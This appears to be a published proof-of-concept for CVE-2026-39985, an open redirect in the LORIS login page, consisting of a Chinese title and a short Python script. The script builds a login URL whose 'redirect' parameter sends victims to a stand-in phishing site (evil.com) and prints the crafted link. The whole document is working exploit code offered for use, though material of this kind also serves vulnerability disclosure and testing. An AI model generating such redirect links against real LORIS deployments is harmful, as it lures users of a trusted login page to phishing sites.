CVE-2026-39985 LORIS开放重定向漏洞

# Proof of Concept (PoC) for CVE-2026-39985 # Description: Exploits the open redirect vulnerability via the login redirect parameter. import urllib.parse def generate_malicious_url(base_url, evil_site): """ Generates a malicious LORIS login URL that redirects to an external site. """ # The vulnerable parameter is 'redirect' payload = { 'redirect': evil_site } # Encode the parameters query_string = urllib.parse.urlencode(payload) # Construct the full URL malicious_url = f"{base_url}?{query_string}" return malicious_url if __name__ == "__main__": target = "https://example-loris-instance.com/login" redirect_target = "http://evil.com/phishing" poc_url = generate_malicious_url(target, redirect_target) print(f"[+] Generated Malicious URL: {poc_url}") print(f"[+] Victim will be redirected to: {redirect_target}")